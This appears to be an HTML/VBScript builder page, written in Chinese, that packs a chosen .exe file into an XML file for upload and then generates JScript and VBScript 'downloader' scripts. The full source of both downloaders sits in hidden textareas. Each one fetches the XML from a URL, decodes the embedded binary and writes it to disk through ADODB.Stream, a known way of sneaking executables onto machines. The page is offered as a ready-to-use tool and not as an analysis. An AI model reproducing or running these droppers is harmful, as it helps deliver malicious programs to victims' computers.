<script type="text/javascript"><!--mce:0--></script>
<h4>1.生成下载用的xml文件</h4>
选择下载的exe文件：
<input id="file1" name="file1" size="20" type="file" />
保存路径
<input id="pathname" name="path" size="20" type="text" value="c:down.xml" />
<input onclick="vbs:CreateXml x(&quot;file1&quot;).value,x(&quot;pathname&quot;).value:If Findfile(x(&quot;pathname&quot;).value) = true Then msgbox(&quot;生成成功，请传到某个空间&quot;):x(&quot;url&quot;).innerHTML=&quot;&lt;font color=red/&gt;生成成功，请传到某个空间&quot;" type="button" value="生成xml文件" />
<h4>2.生成下载者</h4>
<button onclick="vbs:jsdown():If Findfile(&quot;jsdown.js&quot;) = true Then msgbox &quot;生成成功&quot;:x(&quot;url&quot;).innerHTML=&quot;用法是cscript jsdown.js xmlurl savepath&quot;">生成js下载者</button><button onclick="vbs:vbsdown():If Findfile(&quot;vbsdown.vbs&quot;) = true Then msgbox &quot;生成成功&quot;:x(&quot;url&quot;).innerHTML=&quot;&lt;font color=blue&gt;用法是cscript vbsdown.js xmlurl savepath&quot;">生成vbs下载者</button>
 
<textarea id="jsdown" style="visibility:hidden" cols="1" rows="1" name="jswodn">
var objArgs = WScript.Arguments;
var objXmlFile =new ActiveXObject("Microsoft.XMLDOM");
objXmlFile.async=false;
objXmlFile.load(objArgs(0).toLowerCase());
do
{
WScript.sleep(100);
}
while (!objXmlFile.readyState == 4)
 
if (objXmlFile.readyState == 4)
{
var objStream = new ActiveXObject("ADODB.Stream")
var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue
 
with(objStream)
{
objStream.Type = 1;
objStream.Open();
objStream.Write(objNodeList);
objStream.SaveToFile(objArgs(1).toLowerCase(),2);
objStream.close();
}
}
 
delete objXmlFile;
delete objStream;
 
</textarea>
 
<textarea id="vbsdown" style="visibility:hidden" cols="1" rows="1" name="vbswodn">
Set objXmlFile = CreateObject("Microsoft.XMLDOM")
objXmlFile.async=false
objXmlFile.load(Wscript.arguments(0))
Do While objXmlFile.readyState&lt;&gt;4
wscript.sleep 100
Loop
If objXmlFile.readyState = 4 Then
 
Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream")
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objNodeList(0).nodeTypedvalue
.SaveToFile Wscript.arguments(1), 2
.Close
End With
Set objStream = Nothing
 
End If
 
Set objXmlFile = Nothing
</textarea>